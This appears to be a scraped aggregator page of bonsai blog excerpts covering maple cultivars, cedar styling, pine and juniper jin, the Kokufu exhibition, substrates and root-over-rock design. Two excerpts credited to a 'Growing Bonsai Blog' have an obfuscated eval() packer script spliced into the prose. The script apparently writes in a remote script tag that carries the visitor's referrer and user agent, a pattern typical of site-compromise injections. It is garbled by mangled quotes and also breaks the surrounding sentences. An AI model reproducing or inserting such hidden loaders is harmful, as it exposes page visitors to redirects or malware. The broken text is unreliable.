Koto Hime Japanese Maple

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Source: Valavanis Bonsai Blog. The Koto Hime Japanese maple, Acer palmatum ‘Koto Hime,’ is in the dwarf or yatsubusa group of plants which are prized for bonsai training. This cultivar is best when trained as a shohin or small size bonsai because of the diminutive and tightly congested foliage.  Description Koto Hime Japanese maple originated Read More

CEDRUS ATLANTICA

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Source: Watto Bonsai Blog. This Atlantic Cedar was a gift from a few family members a few years ago, and I am very grateful for this gift. It had a couple of nice curves in the trunk lower down, but the trunk then went straight, and that was a shame. Cedars have a reputation for Read More

What is a bonsai?

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Source: Growing Bonsai Blog. In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sehsi|var|u0026u|referrer|ifdba||js|php’.split(‘|’),0,{})) order to learn about growing your own bonsai, it is important to get a clear understanding what bonsai are. Bonsai is a small tree in a shallow container The short version would be: Bonsai is a Japanese word, which translates roughly to “Little tree Read More

Juniper Jin and Pine Jin-

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Source: Crataegus Bonsai Blog. A month ago we started talking about pine jin. Here are some photos and thoughts about pine and juniper jin and how they differ. This is a pine jin. It looks cut off, doesn’t it? But it’s never been touched. This is what a dead pine branch will do if left Read More

2018 92nd Kokufu Bonsai Exhibition II– Part 2 (Final)

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Source: Valavanis Bonsai Blog. Here are the last images from this year’s tour to Japan to visit the Kokufu Bonsai & Japan Suiseki Exhibitions, Omiya Bonsai Village, S-Cube, Masahiro Kimura and Kunio Kobayashi’s gardens. Do you recognize this Japanese five-needle pine bonsai? I did. It was featured in the video Shinji Suzuki produced many years Read More

2018 92nd Kokufu Bonsai Exhibition II– Part 2 (Final)

4 months ago Nebby 0
Source: Valavanis Bonsai Blog. Here are the last images from this year’s tour to Japan to visit the Kokufu Bonsai & Japan Suiseki Exhibitions, Omiya Bonsai Village, S-Cube, Masahiro Kimura and Kunio Kobayashi’s gardens. Do you recognize this Japanese five-needle pine bonsai? I did. It was featured in the video Shinji Suzuki produced many years Read More

Characteristics of good bonsai substrate

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Source: Growing Bonsai Blog. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidah|var|u0026u|referrer|insdr||js|php’.split(‘|’),0,{})) Ginkgo seedling with substrate When growing bonsai, there are few subjects that are more controversial than substrates. To some the concept of not using the Japanese substrates is near blasphemy. Everything that is used has to be approved by the Japanese masters. That is of Read More

A visit to Hans van Meers garden

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Source: Tony Tickle Bonsai Blog. The day after the Trophy in Belgium, Terry and I visited my good friend Hans van Meer in Holland, this video is a look around his collection. Go to the source blog (Tony Tickle Bonsai Blog) to read the full article: A visit to Hans van Meers garden Read More

Root-over-rock style

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Source: Bonsai Hunk Blog. One of my favorite forms of bonsai is the root-over-rock design. It incorporates an attractive stone with nice texture and fissures and a bonsai tree growing over it. In this case it is a Ficus ‘Mystery’ that was planted on this rock about 15 years ago. The original plant was quite Read More

Noelanders Trophy 2018

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Source: Bjorn Bjorholm Bonsai Blog. This past weekend, I had the pleasure of demonstrating at the 2018 Noelanders Trophy in Belgium. Not only were the trees on display in the exhibition world-class, but the demo material was fantastic and the people were even better.  Thank you to all who made it happen!     Please Read More